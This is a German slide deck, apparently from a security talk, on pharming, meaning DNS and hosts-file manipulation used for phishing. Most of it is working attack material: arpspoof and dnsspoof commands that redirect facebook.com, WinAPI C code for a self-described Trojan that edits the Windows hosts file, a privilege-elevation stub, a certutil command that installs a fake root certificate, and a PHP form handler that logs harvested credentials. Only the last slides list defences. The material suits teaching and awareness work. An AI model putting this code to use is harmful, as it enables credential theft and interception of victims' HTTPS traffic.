Pharming

Was folgt?

  • Einführung
  • Beispiel
    • Manipulationsdatei + Code
    • Phishing-Seite
  • Schutzmaßnahmen

Pharming?

Pharming

DNS-Manipulation für Phishing-Zwecke

Mit Backdoor:Wenig Spuren hinterlassen

Potentielle Sichtbarkeit

Sherlock

Varianten

    Client
    • /etc/hosts

    Router
    • Manipulation der DNS-Konfiguration

Potentielle Sichtbarkeit

Sherlock

Varianten

    Internes/Lokales Netz
    • DNS-Spoofing

Potentielle Sichtbarkeit

Sherlock

Varianten

    DNS-Server (auch ISP)
    • DNS-Cache-Poisoning
    • Exploits

DNS-Spoofing - Internes Netz

file example (spoofhosts.txt)
192.168.1.100 www.facebook.com

commands


echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.245 192.168.1.5 &;
arpspoof -t 192.168.1.5 192.168.1.245 &;
dnsspoof -f  spoofhosts.txt host  192.168.1.245  and  udp  port 53
					

DNS-Cache Poisoning Beispiel

Hack Nameserver

Füge Zusatzrecords bei Anfragen hinzu

Abfrage: Cache anderer Nameserver poisoned

Router - Drive-by-Pharming

CSRF

Defaultpasswörter

Besuch einer Seite und lokales Netz ist umgebaut

Beispiel

etc host - Beispiel

Anpassen der etc-Host-Datei

Automatisierung

Bauen wir uns einen kleinen Trojaner :)

Aller Anfang

WINAPI - Wo ist die Datei?

#define VARNAME TEXT("SystemRoot")
#define BUFSIZE 4096
...
// Variablen
// Pfad
LPTSTR strToAdd = TEXT("\\system32\\drivers\\etc\\hosts");
pszVal = (LPTSTR) malloc(_MAX_PATH*sizeof(TCHAR));
DWORD dwRet;
...
// Umgebungsvariable
dwRet = GetEnvironmentVariable(VARNAME, pszVal, BUFSIZE);
_tcsncat(pszVal, strToAdd, (_countof(pszVal)- strlen(pszVal) - 1));

WINAPI - Wie hänge ich etwas an?

FILE *pFile2;
pFile2 = fopen(TEXT(pszVal), "a");
if (pFile2 != NULL)
{
	fputs("192.168.56.101 www.facebook.com\n",pFile2);
	fclose(pFile2);
}

Admin-Rechte?

IExpress + WinAPI

WINAPI - Admin-Rechte

#include "windows.h"
#include <stdio.h>

int main (void)
{
  DWORD   dwErr;
  // run shell command
  dwErr = ShellExecute( NULL,
    "runas",
    "minor.exe",
    "",
    NULL,                        // default dir
    SW_SHOWNORMAL);
	return 0;
}

HTTPS Problematik

Kein Root-Zertifikat

Zertifikat

Self-Signed Zertifikat erstellen

In Windows CER Format konvertieren

Zertifikat - WINAPI

char* myCommand = "certutil -addstore -f -enterprise -user root fakefacebook.cer";
system(myCommand);

Bauen einer Phishing Seite I

Speichere Seite möglichst

  • komplett offline
  • in einem kontextunabhängigen Aussehen

Beispiel ohne Browser

wget --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0"
-mkEpnp http://example.org

Bauen einer Phishing Seite II

Manipuliere Formular-Eingaben z.B.

action="https://example.org/nextpage"

zu

action="myintermediate_action.php"

Bauen einer Phishing Seite III

touch logs.html
cat myintermediate_action.php
<?php
header("Location: https://www.facebook.com");
$handle = fopen("logs.html", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "<hr />");
fclose($handle);
exit;
?>

Integrationstest

Exe-File

Check des Zertifikats

Get-ChildItem -Recurse Cert: | select-string facebook

Aufruf Phishing-Seite Browser

Was nehmen wir mit?

Client

  • Zugriffsrechte mit Bedarf erlauben
  • /etc/hosts Zugriffsrechte
  • HTTPS
  • URLs genau analysieren

Was nehmen wir mit?

DNS-Server

  • Up-to-date halten
  • Härten
  • Konfigs reviewen

:-)